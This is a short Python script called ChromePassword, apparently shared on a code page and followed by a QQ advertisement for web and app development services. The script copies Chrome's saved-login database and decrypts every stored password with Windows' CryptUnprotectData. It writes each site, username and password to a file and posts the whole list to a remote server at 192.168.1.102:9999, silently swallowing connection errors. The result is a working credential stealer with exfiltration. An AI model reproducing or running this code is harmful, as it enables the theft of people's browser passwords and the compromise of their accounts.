ChromePassword
# -*- coding: utf-8 -*- 2# @Author : pwf 3 4# @Date : 2019/5/18 22:53 5# Software : PyCharm 6# version:Python 3.6.8 7# @File : ChromePassword.py 8 9import os 10import shutil 11import sqlite3 12import win32crypt 13import json 14import requests 15 16APP_DATA_PATH = os.environ["LOCALAPPDATA"] 17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data' 18 19 20class ChromePassword: 21 22 def __init__(self): 23 self.passwordsList = [] 24 25 def get_chrome_db(self): 26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH) 27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file') 28 if os.path.exists(_tmp_file): 29 os.remove(_tmp_file) 30 shutil.copyfile(_full_path, _tmp_file) 31 self.show_passwords(_tmp_file) 32 33 def show_passwords(self, db_file): 34 conn = sqlite3.connect(db_file) 35 _sql = '''select signon_realm,username_value,password_value from logins''' 36 for row in conn.execute(_sql): 37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0) 38 # 密码解析后得到的是字节码,需要进行解码操作 39 _info = 'url: %-40s username: %-20s password: %s ' % 40 (row[0][:50], row[1], ret[1].decode()) 41 self.passwordsList.append(_info) 42 conn.close() 43 os.remove(db_file) 44 45 def save_passwords(self): 46 with open('password.txt', 'w', encoding='utf-8') as f: 47 f.writelines(self.passwordsList) 48 49 def transfer_passwords(self): 50 try: 51 # 此处填写远端Flask对应的IP:PORT 52 requests.post('http://192.168.1.102:9999/index', 53 data=json.dumps(self.passwordsList)) 54 except requests.exceptions.ConnectionError: 55 pass 56 57 58if __name__ == '__main__': 59 Main = ChromePassword() 60 Main.get_chrome_db() 61 Main.save_passwords() 62 Main.transfer_passwords()
QQ:1542385235 (PHP、Java、安卓苹果app制作修改、页面切图、各类模板修改、仿站,数据库修复、WAP制作修改 。我们团队是专门做网站开发的,都是有3年以上工作经验。需要后台系统开发,网页页面制作,app制作,ui设计的请加我qq联系。非诚勿扰!!)
本人qq群也有许多的技术文档,希望可以为你提供一些帮助(非技术的勿加!)。
QQ群: 281442983 (点击链接加入群:http://jq.qq.com/?_wv=1027&k=29LoD19)